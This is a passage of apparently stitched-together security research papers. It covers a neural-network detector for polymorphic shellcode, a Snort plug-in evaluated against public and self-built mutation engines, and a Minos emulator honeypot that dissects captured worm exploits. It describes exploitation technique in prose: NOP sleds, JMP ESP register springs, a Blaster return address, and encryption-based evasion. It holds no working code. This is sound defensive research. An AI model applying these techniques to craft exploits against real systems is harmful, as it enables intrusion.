incorrect results when analyzing a program in the presence of call obfuscations.  The 
consequences of falsely claiming a malicious file as benign can be extremely 
damaging and equally expensive to repair, thus it is important to locate system calls 
correctly during analysis.  The techniques discussed in this paper can be applied to 
help uncover obfuscated calls and provide for a more reliable analysis. 
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Hybrid Engine for Polymorphic Shellcode
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Inffeldgasse 16a, 8010 Graz, Austria

Abstract. Driven by the permanent search for reliable anomaly-based
intrusion detection mechanisms, we investigated different options of neu-
ral network (NN) based techniques. A further improvement could be
achieved by combining the best suited NN-based data mining techniques
with a mechanism we call ”execution chain evaluation”. This means that
disassembled instruction chains are processed by the NN in order to
detect malicious code. The proposed detection engine was trained and
tested in various ways. Examples were taken from all publicly available
polymorphic shellcode engines as well as from self-designed engines. A
prototype implementation of our sensor has been realized and integrated
as a plug-in into the SNORTTM[13] intrusion detection system.

Keywords: Intrusion Detection, polymorphic shellcode detection, neu-
ral networks.

1 Introduction

We all know that operating system implementations are always very complex
and huge. Due to size and complexity of already existing and future solutions, it
can be assumed that there will always be a single programming bug, which can
be exploited by a mechanism to inject malicious code into the program image
of a running process. Thus, we do not pay attention to the different known
mechanisms how to inject malicious code or how to prevent this. We just assume
that there will always be at least a single possibility to inject malicious code. And
we all know that if there is at least a theoretical chance to perform this exploit it
will be detected and will be used. A famous example is the technique described
in the paper ”Smashing the stack for fun and profit” [2] which is based on
buffer overflows and is very popular and widely used to attack systems. Today’s
network intrusion detection systems (NIDS) are generally capable to deal with
these kinds of attacks. In Section 3 we propose a way to detect malicious code
by a hybrid engine, based on execution chain evaluation followed by a NN-based
classification mechanism. A first approach for a detection engine was based on
the analysis of pure byte sequences via neural network techniques. The results
were quite promising but the accuracy was improved by adding the execution
chain evaluation technique.
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2 Polymorphic Shellcodes

A very good introduction on shellcodes can be found on [2]. In contrast to
“normal” shellcodes, polymorphic shellcodes try to evade detection by using
several techniques which are applied to the three zones of a typical shellcode.

2.1 Shellcodes with NOP Zones

NOP Zone: On the X86 architecture the hex value of the NOP instruction is
0x90. As a NOP zone which only consists of these instructions, is very easy to
detect, a polymorphic shellcode must use additional instructions. Unfortunately
not every instruction is suitable for the NOP zone. To find the useable ones, one
needs to take the return address of a shellcode into consideration. This address
points somewhere into the NOP zone. However the exact position is not known
in advance. Thus a NOP zone must contain executable code at every position.
This requirement limits the type of instructions which can be used for a NOP
zone.

All one byte instructions can be used safely for the NOP zone. More-byte
instructions can also be used, but they must fulfill one requirement: Each part of
the instruction must represent a valid instruction. In case of a n-byte instruction
this means, that if m bytes of the instruction are omitted, the remaining n − m
bytes must still represent a valid instruction.

More-byte instructions which do not fulfill these requirements can still be
used, but then the probability of jumping into valid code decreases. This tech-
nique can help to fool a NIDS, which only takes NOP zones with executable
code at each location, into consideration.

Payload: The payload is the shellcode itself. This is the code which will be
executed if a buffer overflow can be exploited. A NIDS uses simple signature
detection mechanisms to detect such payloads. The executable code itself or the
string of the shell (e.g. /bin/bash, /bin/sh...) can be used as signatures. Early
viruses could be detected by similar signature detection methods. To avoid this
simple method of detection, polymorphism was invented in the early 1990s for
viruses. The same technique can be applied to shellcodes. Such shellcodes are
called polymorphic shellcodes and they use two techniques to avoid signature
detection:

– Encryption of the shellcode
– Mutation of the encryption/decryption engine

The encryption engine uses random keys each time a shellcode is encrypted,
which makes a simple signature detection of the decryption engine impossible.
The encryption engine doesn’t need to use unbreakable ciphers. Even simple al-
gorithms are useful, because it would cost a NIDS too much CPU time to find the
used encryption/decryption method and the right keys. This high CPU usage is
not tolerable when a NIDS must operate in a high speed network environment.
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Return Address Zone: A shellcode must overwrite the real return address of
a procedure. To ensure this, the new return address is repeated several times
after the payload. The return address cannot be encrypted or hidden, because
it must overwrite the original return address of the program. Furthermore the
exact location of the buffer is not known in advance, so the return address is
repeated several times after the encrypted shellcode. Both weaknesses can be
exploited by a NIDS. Buttercup [9], a shellcode detection engine, searches for
return addresses of known exploits. This can be quite useful, but requires that
the exploit has already been analyzed. The periodicity of the return address
zone can also be used in combination with other methods to detect shellcodes.
A detection method which relies on periodicity alone cannot be used, because it
creates too much false positives.

The only way to improve detection avoidance is changing the return address
within small bounds. Large changes cannot be made, because then the probabil-
ity that the return address does not point into the NOP zone, increases. Butter-
cup [9] defeats these technique by accepting return addresses with slightly differ-
ent least significant bytes. An algorithm which searches for periodic sequences
can also easily be modified to accept zones with mutated return addresses.

2.2 Shellcodes Without NOP Zones

Normally the return address of the function is overwritten with a new address
which points to the NOP zone of the exploit code. Then this NOP zone is
executed and leads to the shellcode. As the exact address of the shellcode is
not known in advance the NOP zone is necessary for a successful shellcode
execution. However there is one technique which does not require a NOP zone
at all. It uses the ESP register of the processer which stores the current stack
pointer. The return address zone is filled with an address which points to a code
fragment with a “JMP ESP” instruction. When the RET instruction is executed,
the return address is popped from the stack and ESP points to the location after
the return address. RET then jumps to the address where “JMP ESP” is located
and executes it. “JMP ESP” now jumps to the address which is stored in the
ESP register.

With this technique any code can be stored after the return address and
executed. Addresses where “JMP ESP” or functionally equivalent code is stored,
can be easily found in OS libraries. These addresses change when the libraries
are compiled with different compilers or compiler options. Thus the technique
can only be used effectively on closed source OS. In this case the libraries are
compiled by the OS vendor and are the same for all the same versions of the OS.
This fact is exploited by Metasploit [1], which maintains a database of addresses
for all different WindowsTMversions.

2.3 Shellcode Engines

There are three public available engines, that can be used to generate polymor-
phic shellcodes. These are ADMmutate [6], CLET [4] and Jempiscodes [12].
With the knowledge we got from investigating these engines, we also made up
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our minds on alternative methods to generate polymorphism. As a result, we
developed three independent shellcode engines which are based on different con-
cepts.

In what follows, we will call these engines EE1, EE2 and EE3 (Experimental
Engine). The purpose of these engines was to improve our detection mechanism
by experimenting with concepts that could possibly evade HDE. EE1 was based
on inserting junk instructions and XOR encryption. Such a mechanism was also
proposed by the authors of [4]. EE2 uses the Tiny Encryption Algorithm (TEA)
to encrypt the payload. EE3 uses random chains of simple instructions which
are applied to the payload to transform the payload. The inverted instruction
chain serves simultaneously as decryption engine and key.

3 Hybrid Detection Engine – HDE

3.1 Overview

Our initial work on HDE was based on pure byte sequences as input for a NN.
This approach had two major shortcomings:

– It is possible to use JMP instructions to jump over junk bytes within a
shellcode. Introducing such junk data helps to hide the shellcode from de-
tection engines which investigate byte sequences only. Such engines are not
able to exclude the junk data, because they are not aware of the control flow
instructions which jump over it.

– Parameters of assembler instructions can be used to store key files, required
for shellcode decryption. These keys are different for each generated shellcode
and thus are considered as random. When only the byte stream is inspected,
these keys cannot be filtered out and thus represent noise. This decreases
the detection accuracy of the neural network.

HDE overcomes these shortcomings by implementing a recursive function which
is capable of following different execution chains in disassembled code. Whenever
a controlflow instruction is detected the function extracts the destination address
and continues disassembling at this address. Depending on the instruction the
function also follows the code directly after the instruction. This is necessary
for conditional jumps (JCC: JZ, JC...) and LOOP-instructions as HDE does
not know the state of the CPU flags and registers which define the behavior of
jumps.

Whenever a termination criterion (see Section (1, 2) is met, the recursive
function stops to follow the code and starts neural network classification. The
input for the neural network is the spectrum of encountered instructions along
an execution path. (Here and in the course of this paper, by spectrum we mean
a representation of the relative frequencies.)

If the output of the neural network is larger than zero a possible shellcode is
reported.
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To increase the performance, the proposed HDE consists of three phases:

1. NOP zone detection is very simple but pure NOP (”no-operation”) zone
detection would cause a large number of false positives (when running our
tests with fnord [11]). We just use this phase to trigger the HDE. To overcome
the problem with short or no NOP zones, this phase is scalable and can
completely be turned off

2. Search for execution chains: For a similar approach we refer to [14]
3. Neural network classification of instructions found along an execution

path

Our approach has the following advantages:

– Modelling of new shellcode engines: If a newly developed shellcode engine or
examples from this engine are available, HDE can be trained to detect codes
from the new engine without any in depth knowledge of the engine itself.

– Detection of new shellcode engines without prior training : HDE is also capa-
ble of detecting polymorphic shellcodes from engines which were not avail-
able in the HDE training process. This is due to the fact that many engines
are based on similar concepts such as decryption loops, junk instructions,
call/jmp instructions, etc. The neural network training of HDE filters out
the relevant features of an engine used for training and thus is able to detect
other engines.

– Execution chain evaluation: This proposed technique helps to eliminate to
a certain extend the polymorphism produced by polymorphic shellcode en-
gines since it neglects the parameters of the disassembled instructions. This
technique shows that shellcodes created by some of the investigated engines
are not as polymorphic as they claim to be.

3.2 Implementation Details

HDE was implemented as a SnortTM plug-in. To enable the detection of instruc-
tion chains, the proposed approach is based on NASM [8]. The primary use of
NASM is assembling, but a disassembler based on the NASM libraries is also
available. One function was slightly modified and another one was added to ac-
commodate the needs of HDE. The SnortTM plug-in was not only used for the
detection process - we also used this plug-in to collect training data for the neural
network. The training process of the NN was done with MatlabTM (cf. also [7]).

3.3 Neural Network and Features

Classification is done with a multilayer feedforward neural network, which con-
sists of one input layer, one hidden layer and one output layer. The network
uses 29 input neurons, 12 neurons for the hidden layer and one output neuron.
For the training process the Levenberg-Marquardt [10] back-propagation method
was used. See [3] or [5] for a thorough discussion of neural networks.

The features of the neural network were chosen by investigating the instruc-
tions used by the available polymorphic shellcode engines. These instructions
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Table 1. Neural network features

Feature Instructions Feature Instructions
1 add, sub 16 test

2 call 17 shl, shr

3 and, or, not 18 xor

4 pop 19 mul, imul, fmul

5 popa 20 div, idiv, fdiv

6 popf 21 cmp, cmpsb, cmpsw, cmpsd, cmc

7 push 22 sti, stc, std

8 pusha 23 neg

9 pushf 24 lahf

10 rol, ror 25 sahf

11 jcc 26 aaa, aad, aam, aas, daa, das

12 jmp 27 clc, cld, cli, clts, clflush

13 inc, dec 28 cbw, cwd, cdq, cdwe

14 loop, loope, loopne 29 all other instructions

15 mov

were then used to create groups of similar instructions. Further instructions
from the X86 set were then added to the groups. The groups are numbered and
represent the features/inputs for the neural network. A complete list can be seen
in Table 1. The last feature is used for instructions which are not covered by this
list.

HDE must take different execution chains with different length into consider-
ation. To compensate this length difference each feature is divided by the length
of the execution chain, which is equal to the sum of all the instructions along
such a chain.

3.4 Execution Chain Evaluation

Phase 2 uses the recursive function follow to disassemble the code directly after
the NOP zone. It follows all the possible execution chains by extracting destina-
tion addresses from controlflow instructions like CALL, JMP, LOOP and JCC.
Each valid instruction along an execution path is added to the spectrum of instruc-
tions along that path. A spectrum is maintained for each execution path which is
investigated by follow. Classification (applying the neural network) of the spec-
trum is done whenever a termination criterion (see below for details) is met or
when a controlflow instruction is located. Starting classification each time a con-
trolflow instruction is found, is based on a typical polymorphic shellcode behavior:
The polymorphic decrypter needs a CALL instruction immediately before the en-
crypted shellcode to determine its memory address. The CALL normally points
to a loop which decrypts the shellcode. After the decryption process has finished,
the decrypted shellcode must be executed. As the CALL immediately before the
decrypted shellcode must not be executed anymore, the polymorphic decrypter
must jump into the decrypted shellcode. This jump can be done with any con-
trolflow instruction and marks the end of the polymorphic decrypter.



Hybrid Engine for Polymorphic Shellcode Detection 25

When follow arrives at this controlflow instruction, it jumps directly into
the encrypted shellcode1. Disassembling of the encrypted shellcodes results in
instructions which irritate the neural network. To avoid adding these random
instructions to the spectrum, follow assumes that a controlflow instruction in-
dicates the end of the polymorphic decrypter and starts classification whenever
such an instruction is found.

To ensure that follow does not follow loops forever an array stores instruc-
tions which have already been visited. This array is maintained for each execution
chain.

If a possible shellcode is found only the execution path with the largest neural
network output is dumped to a file.

Follow – A More Detailed Description: We now give a summary of the
proposed execution chain algorithm (cf. Algorithm 1 for a meta language de-
scription):

1. Input:
– pointer : The address of the bytestream, where disassembling should be

started.
– spectrum: The spectrum of instructions along an execution chain. These

spectrum stores the 19 features which are used as neural network input.
2. checkTermCriteria: Checks if one of the termination criteria is true. The

following termination criteria are used:

– Length of execution chain exceeds threshold : It does not make sense to
follow chains which get too long, because shellcode en/decryption en-
gines cannot be of arbitrary length. The threshold in HDE is set to 70
instructions which should cover all en/decryption engines. (70 is a rather
large value many and could be decreased to increase performance. De-
cryption engines of shellcodes normally do not have the liberty to use
arbitrary long instruction chains.)

– The address of a control flow instruction which should be disassembled is
out of bounds: Such an address cannot be disassembled because the data
is not available. This happens when the destination address of a control
flow instruction points to an invalid destination.

– The disassembler cannot find a valid instruction at the given address:
This can happen when non executable code is disassembled. Further
disassembling does not make any sense, because the code would lead to
a program crash at this location.

– A RET instruction is found : As such an instruction takes the last entry
from the stack and jumps to it, it doesn’t make sense to continue dis-
assembling, because follow cannot know the destination address of the
RET instruction.

1 Follow only follows the execution paths and does not decrypt the shellcode, thus it
jumps into the encrypted shellcode.
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Input : pointer, spectrum

Output : -

terminate ←− checkTermCriteria();
if terminate == true then

checkSpectrum(spectrum);
return;

end
inst ←− disassemble(pointer);
valid ←− checkInst(inst);
if (valid == true) then

spectrum ←− addInst(spectrum);
if inst ∈ (CALL, JMP, JCC, LOOP ) then

checkSpectrum(spectrum);
dest ←− extractDest(inst);
follow(dest, spectrum);
if inst ∈ (LOOP, JCC) then

pointer ←− pointer + length(inst);
follow(pointer, spectrum);

end
else

pointer ←− pointer + length(inst);
follow(pointer, spectrum);

end
else

checkSpectrum(spectrum);
return;

end

Algorithm 1: Follow: recursive function which follows execution chains

– Follow finds an instruction which has already been visited : Loops can be
avoided with this technique. Furthermore it doesn’t make sense to add
instructions to the spectrum, which have already been added before.

– Recursion depth exceeds threshold : Each time follow is called, a counter
is incremented. If this counter is larger than 10000, HDE stops.

3. checkSpectrum: This function applies the neural network to the spectrum
of instructions which were found along an execution path. If the output of
the neural network is larger than zero, a shellcode is reported and details
are written to the Snort log file.

4. disAssemble: This function takes the current pointer and dissambles the
byte stream at this location and returns the disassembled instruction.

5. checkInst: If a valid instruction is found, further processing is done, other-
wise checkSpectrum is called and follow returns.

6. addInst: This adds the dissassembled instruction to the spectrum of the
current execution chain.

7. Jumps: If the instruction is a controlflow instruction (CALL, LOOP, JMP
or JCC), follow calls checkSpectrum before any further processing. After
checkSpectrum the destination address is extracted from the instruction
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parameters. follow calls itself with the extracted destination address. As
nothing is known about the state of the processor flags or registers, both
possible execution chains of conditional jumps must be evaluated. For con-
ditional jumps the second path is followed by adding the size of the instruc-
tion to the current pointer. Follow then calls itself recursively with the new
pointer.

8. Other instructions: The size of the instruction is added to the current
pointer and follow calls itself with the new pointer.

9. Output: Shellcodes are reported whenever the neural network has an output
which is larger than zero. To avoid multiple reports for the same shellcode
only the execution chain with the largest neural network output is dumped
to a logfile.

3.5 Results

To verify the proposed approach, we exhaustively trained and tested the detec-
tion engine with positives examples from the available polymorhpic shellcode
engines and negative examples from the numerous system libraries, executables,
etc. (looking very similar to shellcodes). Our hybrid approach performed very
well in terms of false negative/positive rates compared with existing solutions
like fnord [11].

Training/Test Data: Shellcode examples were created with the help of the
6 available engines (ADMmutate, Clet, JempiScodes, EE1-3) and then used to
create training and testing data for the neural network.

Table 2. Shellcode examples created with the available engines

Engine Examples

ADMmutate 1972

Clet 2003

JempiScodes 402

EE1: 893

EE2: 1000

EE3: 1000

Negative examples were extracted from the filesystem from typical Win-
dows/Linux installations:

– Set 1: Windows root directory - approximately 2.8 Gb of data
– Set 2: /usr directory of a Linux installation - approximately 5.9 Gb of data

Those directories were chosen, because of the large variety of data2, which
is located there. Furthermore, as decryption engines of polymorphic shellcode

2 This data includes binaries, libraries, text files, pictures...
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engines are executable code, it makes sense to include many Windows/Linux
executables in the dataset. These executables are most likely to give false alarms.

Initial Neural Network Training:

1. HDE was applied to Set 2 with NOP zone detection only (30 NOPs). When-
ever a classification took place, the spectrum data was dumped. This re-
sulted in over 1 million false positives. 6000 of these false positives were
taken randomly and used as the negative training set. Positive examples
were taken from the shellcodes generated by ADMmutate. The initial net-
work was trained with these two training sets.

2. The initial network was then used in HDE with activated execution chain
evaluation to collect further negative training data from Set 2.

3. The collected examples from step 2 were added to the negative training set
which was used as a base set for further network training and performance
evaluation. The most promising network was then taken and several data
collecting/training steps were performed.

We need multiple steps because of the large number of false positives in
the two training sets. Therefor, only a subset of these examples is taken for
initial network training. This network can then be used to collect further
negative examples which can be used for further training. As the training
process changes the network structure, other false positives are found when
the network is applied. This process is iterated until the number of false
positives cannot be further reduced. As the number of the negative exam-
ples used for training (about 12000) is very small compared to the possible
number of false positives (over 3 million in Set 1/2), network overfitting is
not an issue.

Neural Network Performance Evaluation:

1. A neural network was trained and tested with examples of each shellcode
engine. This was done by using the negative examples collected before and
the positive examples of the respective shellcode engine. The results of this
step can be seen in Table 3.

2. The table shows that a neural network trained with ADMmutate, EE2 or
EE3 is quite capable of detecting the other engines. Training results with
Clet, JempiScodes or EE2 show that the neural network specializes on de-
tecting these engine and loses its ability to generalize.

3. The next step was to chose two engines and combine their shellcode ex-
amples to one positive training set for neural network training. With this
combination we hoped to train a neural network which is capable of good
generalization. Taking a closer look at the results shows that a combination
of ADMmutate and EE3 might lead to such a network. The network trained
on ADMmutate shows a good performance on JempiScodes, EE1 and EE2
and does not perform well on Clet. In contrast the network trained with
EE3 examples shows a bad performance on ADMmutate and JempiScodes
examples and a very good performance on Clet, EE1 and EE2 examples.
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Table 3. Neural network performance

ADMmutate Clet JempiScodes EE1 EE2 EE3

ADMmutate 100% 38.8% 100% 79.2% 93% 75.9%

Clet 3.2% 100% 0% 1.7% 0% 3.5%

Jempiscodes 26.6% 0% 100% 13% 0.1% 17.7%

EE1 17.4% 91.2% 0.8% 100% 100% 100%

EE2 2.3% 33% 0% 4.7% 100% 1.5%

EE3 20% 98.9% 0.8% 100% 97% 100%

Table 4. ADMmutate-EE3 network performance (30 NOPS)

ADMmutate Clet JempiScodes EE1 EE2 EE3

100% 100% 71.4% 100% 98.3% 100%

Table 5. ADMmutate-EE3 network performance (5 NOPS)

ADMmutate Clet JempiScodes EE1 EE2 EE3

100% 100% 0% 99.8% 49.3% 100%

The combination of these training sets aims to make use of the advantages
of both engines.

4. A new network was trained with examples from ADMmutate and EE3. The
trained network was then applied to the Set 1 and Set 2. The false positves
which could be found during the process where then added to the negative
training set and the network was retrained. These steps were repeated until
one false positive remained. This single false positive could not be removed
with further network training. The final network was again tested on all
engines. The results can be seen in Table 4 and show that the new network
is able to detect all shellcodes from the engines which were used during
training and a large percentage of shellcodes generated by the other engines
which were not used during the training process. Additionally to this good
detection performance, only one false positive was reported by HDE.

5. To evaluate the detection performance of HDE, the NOP zone length was
set to 5 in the next test. This provides much more examples which must be
analyzed with the neural network. Thus, we expected to get more false posi-
tives which could then be used for further network training. As the increased
number of negative examples requires a further specialization of the network
a performance drop in the ability to detect the other shell code engines was
expected. The results are available in Table 5 and show a significant per-
formance drop when detecting shellcodes generated with JempiScodes (from
71.4% to 0%) and EE2 (from 98.3% to 49.3%). The number of false positives,
which could not be removed by the neural network, was 3. This is still a very
low number and shows the good performance of HDE.
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4 Conclusion and Outlook

We have developed and tested a hybrid detection engine for certain types of poly-
morphic shellcodes. The crucial phase of this detection engine relies on neural
network techniques and execution chain evaluation. The latter technique seems
especially promising, since the disassembled shellcodes from the investigated
generators have lost some of their polymorphic structure. Our approach is very
promising from the results we were able to obtain. In addition, our engine is eas-
ily adaptable to new situations (i. e. to new shellcode engines) without in-depth
knowledge of the polymorphic mechanism. HDE was realized as a SNORTTM

plug-in which makes it very simple to deploy.
There are still several issues, which have to be addressed in future work:

– Feature Selection: Current shellcode engines do not use the mathematical
unit of the processor, so most of those instructions are not included in the
feature vector. In order to create an engine which is much more general, more
instructions must be added to the feature vectors and training examples must
be provided.

– Shellcodes Without a NOP Zone: Shellcodes which use addresses of “JMP
ESP” or likewise cannot be detected by this version of HDE. HDE requires
a NOP zone for detection. However it would be easy to modify the behavior
of HDE. The NOP zone detection engine could be replaced with an engine
which searches for addresses were JMP ESP instructions are located. As the
JMP ESP works best on closed source operating systems such as Windows,
it easy to create databases which store all possible addresses. In fact one such
database already exists on Metasploit. These database includes the addresses
for all interesting instructions sorted by OS version and service pack. By
checking these database it turns out, that the low number of addresses makes
it feasible to use a technique similar to Buttercup [9]. technique to search for
them. In this case all of the addresses could be added to the engine whenever
a new OS version is available.

Whenever such an address is found in the network traffic, the engine can
apply phase 2/3 (follow and neural network) to detect a possible decryption
engine.
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Abstract. We present a honeypot technique based on an emulated en-
vironment of the Minos architecture [1] and describe our experiences and
observations capturing and analyzing attacks. The main advantage of a
Minos-enabled honeypot is that exploits based on corrupting control data
can be stopped at the critical point where control flow is hijacked from
the legitimate program, facilitating a detailed analysis of the exploit.

Although Minos hardware has not yet been implemented, we are able
to deploy Minos systems with the Bochs full system Pentium emulator.
We discuss complexities of the exploits Minos has caught that are not
accounted for in the simple model of “buffer overflow exploits” prevalent
in the literature. We then propose the Epsilon-Gamma-Pi model to de-
scribe control data attacks in a way that is useful towards understanding
polymorphic techniques. This model can not only aim at the centers of
the concepts of exploit vector (ε), bogus control data (γ), and payload
(π) but also give them shape. This paper will quantify the polymorphism
available to an attacker for γ and π, while so characterizing ε is left for
future work.

1 Introduction

Minos is an architecture that detects control data attacks and will be described
in Section 2. Our Minos-based honeypots have caught over two hundred actual
attacks based on eight different exploits. Most of the attacks occurred between
mid-December of 2004 and early February of 2005, but the wu-ftpd, Code Red
II, and SQL Hello buffer overflow attacks were observed at an earlier date when
the honeypots were behind a campus firewall. This paper will present our de-
tailed analysis of the eight exploits observed and point out important differences
between these actual exploits seen in the wild and the common conception of
buffer overflow exploits prevalent in the computer security research literature.
We will also discuss some of the challenges raised for automated analysis by these
exploits, and how the Minos architecture helps to address these challenges.

Section 3 will enumerate our assertions about the complexities of actual ex-
ploits not captured by the simple model of buffer overflows and support these
claims through evidence based on the eight exploits as well as discussion of what
gives rise to these complexities. This is followed by Section 4 which proposes a
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more appropriate model to encompass all control data attacks and provide useful
abstractions for understanding polymorphism. Then related works in Section 5
and future work in Section 6 are followed by the conclusion.

2 Minos

Minos [1] is a simple modification to the Pentium architecture that stops control
data attacks by tagging network data as low integrity, and then propagating
these tags through filesystem operations and the processor pipeline to raise an
alert whenever low integrity data is used as control data in a control flow trans-
fer. Control data is any data which may be loaded into the program counter,
or any data used to calculate such data. It includes not just return pointers,
function pointers, and jump targets but variables such as the base address of a
library and the index of a library routine within it used by the dynamic linker
to calculate function pointers. In this way Minos is able to detect zero day con-
trol data attacks based on vulnerabilities such as buffer overflows, format string
vulnerabilities, or double free()s, which constitute the overwhelming majority of
remote intrusions on the Internet. Minos was designed to efficiently and inexpen-
sively secure commodity software, but we discovered that the Minos emulator
serves as a very capable honeypot.

Although Minos hardware has not yet been implemented, an emulated envi-
ronment based on the Bochs Pentium emulator [2] was developed to allow for a
full Minos system to be booted and run on the network with all of the services
and programs of a regular system. Because Minos is orthogonal to the mem-
ory model and requires no binary modification it is especially suited to detailed
analysis of the exploits it catches, either by hand or in an automated fashion.
The address space at the point where the attack is stopped is identical to the
address space of a vulnerable machine.

The Minos architecture requires only a modicum of changes to the processor,
very few changes to the operating system, no binary rewriting, and no need to
specify or mine policies for individual programs. In Minos, every 32-bit word
of memory is augmented with a single integrity bit at the physical memory
level, and the same for the general purpose registers. This integrity bit is set
by the kernel when the kernel writes data into a user process’ memory space.
The integrity is set to either “low” or “high” based upon the trust the kernel
has for the data being used as control data. Biba’s low-water-mark integrity
policy [3] is applied by the hardware as the process moves data and uses it for
operations. If two data words are added, for example, an AND gate is applied
to the integrity bits of the operands to determine the integrity of the result. A
data word’s integrity is loaded with it into general purpose registers. All 8- and
16-bit immediate values are assumed low integrity, and all 8- and 16-bit loads
and stores also have the integrity of the address used checked in the application
of the low-water-mark policy. A hardware exception traps to the kernel whenever
low integrity data is used for control flow purposes by an instruction such as a
jump, call, or return.
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Months of testing have shown Minos to be a reliable system with no false
positives. There are limitations as to Minos’ ability to catch more advanced
control data attacks designed specifically to subvert Minos, mostly related to
the possibility that an attacker might be able to arbitrarily copy high integrity
control data from one location to another. To date, no control data attack has
subverted Minos including those attempted by the authors targeted for Minos.
More details are available in [1] and [4]. Furthermore, Minos only stops low-
level control data attacks that hijack the control flow of the CPU and was not
designed to catch higher-level attacks involving, for example, scripting languages
or file operations.

Minos was implemented in Linux and changes were made to the Linux kernel
to track the integrity information through the file system (details are available
in [1]). This implementation SIGSTOPs the offending process which can then
be analyzed using a ptrace. A separate Minos implementation for Windows XP
marks data as low integrity when it is read from the Ethernet card device, but
the integrity information cannot be tracked in the filesystem since we do not
have the Windows XP source code. Because the entire system is emulated the
hard drive could have tag bits added to it to ameliorate this, but we have not
found it necessary to do so.

3 Exploits

Von Clausewitz [5] said, “Where two ideas form a true logical antithesis, each
complementary to the other, then fundamentally each is implied in the other.”
Studying attacks in detail can shed light on details of defense that might not
have otherwise been revealed.

The eight exploits we have observed are summarized in Table 1. This section
will discuss the complexities of these exploits that are not captured by the simple
model of buffer overflow exploits shown in Figure 1. In this model there is a
buffer on the stack which is overflowed with the attacker’s input to overwrite
the return pointer if the attacker uses some exploit vector. When the function
returns the bogus return pointer causes control flow to return to somewhere
within a NOP (No Operation) sled which leads to the payload code on the stack.

Fig. 1. An Overly-Simple Model of Buffer Overflow Exploits
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Table 1. Actual Exploits Minos has Stopped

Exploit Name Vulnerability Class Port

SQL Hello SQL Server 2000 Buffer overflow 1433 TCP

Slammer Worm SQL Server 2000 Buffer overflow 1434 UDP

Code Red II IIS Web Server Buffer overflow 80 TCP

RPC DCOM (Blaster) Windows XP Buffer overflow Typically 135 TCP

LSASS (Sasser) Windows XP Buffer overflow Typically 445 TCP

ASN.1 Windows XP Double free() Typically 445 TCP

wu-ftpd Linux wu-ftpd 2.6.0 Double free() 21 TCP

ssh Linux ssh 1.5-1.2.26 Buffer overflow 22 TCP

Table 2. Characteristics of the Exploits

Exploit Name Superfluous Bytes First Hop Interesting Coding Techniques

SQL Hello >500 Register Spring Self-modifying code

Slammer Worm >90 Register Spring Code is also packet buffer

Code Red II >200 Register Spring Various

RPC DCOM >150 Register Spring Self-modifying code

LSASS >27000 Register Spring Self-modifying code

ASN.1 >47500 Register Spring First Level Encoding

wu-ftpd >380 Directly to Payload x86 misalignment

ssh >85000 Large NOP sled None

None of the real exploits we analyzed fit this model. We will now enumerate three
misconceptions that can arise from this simple model and dispute their validity.

3.1 Control Flow Is Usually Diverted Directly to the Attacker’s
Executable Code via a NOP Sled

It is commonly believed that the bogus control data is set by the attacker to
go directly to the executable payload code that they would like to run via a
NOP sled. Not only is this not always the case, it is almost never the case in
our experience. For all six of the Windows exploits analyzed the bogus return
pointer or Structured Exception Handling (SEH) pointer directed control flow to
existing code within a dynamically linked library or the static program binary.
This code disassembled to a call or jump such as “CALL EBX” or “JMP ESP”
where the appropriate register was pointing at the exact spot where the pay-
load code was to begin execution (a common case since the buffer has recently
been modified and some register was used to index it). We call this a register
spring.

One challenge for Minos was that this instruction was usually on a virtual
page that was not mapped yet into physical memory, so at the point where
Minos raises an alert there is not enough information in the physical memory to
determine exactly where the attack is ultimately diverting control flow to. The
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Table 3. Register Springs Present in Physical Memory for the DCOM exploit

Assembly Code (Machine Code) Number of Occurrences

CALL EAX (0xffd0) 179

CALL ECX (0xffd1) 56

CALL EDX (0xffd2) 409

CALL EBX (0xffd3) 387

CALL ESP (0xffd4) 19

CALL EBP (0xffd5) 76

CALL ESI (0xffd6) 1263

CALL EDI (0xffd7) 754

JMP EAX (0xffe0) 224

JMP ECX (0xffe1) 8

JMP EDX (0xffe2) 14

JMP EBX (0xffe3) 9

JMP ESP (0xffe4) 14

JMP EBP (0xffe5) 14

JMP ESI (0xffe6) 32

JMP EDI (0xffe7) 17

solution was to set a breakpoint and allow the emulator to continue running
until the minor page fault was handled by the operating system and the code
became resident in physical memory.

Register springing is important because it means that there is a small degree
of polymorphism available to the attacker for the control data itself. They can
simply pick another instruction in another library or within the static executable
binary that is a call or jump to the same register. Table 3 shows the number
of jumps or calls to each general purpose register that are physically present in
the address space of the exploited process when the DCOM attack bogus control
transfer occurs. Since only 754 out of 4,626 virtual pages were in physical memory
when this check was performed it can be expected that there are actually 6 times
as many register springs available to the attacker as are reported in Table 3.
There are 386 other bogus return pointers present in physical memory that will
direct control flow to a “CALL EBX” and ultimately to the beginning of the
exploit code. A jump to the EBX register or a call or jump to the ESP register
will also work for this exploit. In general, for any Pentium-based exploit, EBX
and ESP are the registers most likely to point to the beginning of the buffer
with the attacker’s code due to register conventions.

Of the 3,475 register springs physically present in the DCOM exploit’s ad-
dress space, 3,388 were in memory-mapped shared libraries so most of them
would be present in the address space of other processes in the system. A total
of 52 were in data areas meaning their location and value may not be very reli-
able. The remaining 35 were in the static executable binary itself, including the
“CALL EBX” at 0x0100139d used by the Blaster worm, making these register
springs tend to be in the same place even for different service packs of the same
operating system. The inconsistency of library addresses across different service
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packs of Windows did not stop Code Red II (which used a library address and
was thus limited to infecting Windows 2000 machines without any service packs)
from being successful by worm standards, so library register springs cannot be
discounted.

Register springing was used in [6], and was also mentioned in [7]. A similar
technique using instructions that jump to or call a pointer loaded from a fixed
offset of the stack pointer is presented in [8]. The main reason why the exploit
developers use register springing is probably because the stack tends to be in a
different place every time the exploit is attempted. For example, in a complex
Windows network service the attacker does not know which thread they will get
out of the thread pool, and a NOP sled will not carry control flow to the correct
stack but register springing will. On two different attacks using the same LSASS
exploit the attack code began at 0x007df87c in one instance and 0x00baf87c
in the other, a difference of almost 4 million bytes. These pointers point to the
same byte but within two different stacks. NOP sleds are probably a legacy from
Linux-based buffer overflows where there are usually only minor stack position
variations because of environment variables. We did observe one isolated attack
using the DCOM exploit which did not use register springing but the attack
failed with a memory fault because it missed the correct stack by more than 6
million bytes.

The ssh exploit for Linux was an example of where NOP sleds are useful.
Here none of the registers point to any useful place and the stack position is very
unpredictable, so the particular exploit we observed used a NOP sled of 85,559
bytes on the heap (since the heap data positions are also very unpredictable).
Note that this gives the return pointer a great deal of entropy in the two least
significant bytes and even a bit of entropy in the third least significant byte.

Neither register springing nor NOP sleds are needed for Linux-based double
free() exploits such as the wu-ftpd exploit. This is because the unlink() macro
will calculate the exact heap pointer needed to point to the beginning of the
heap chunk containing the payload code.

3.2 NOP Sleds Are a Necessary Technique for Dealing with
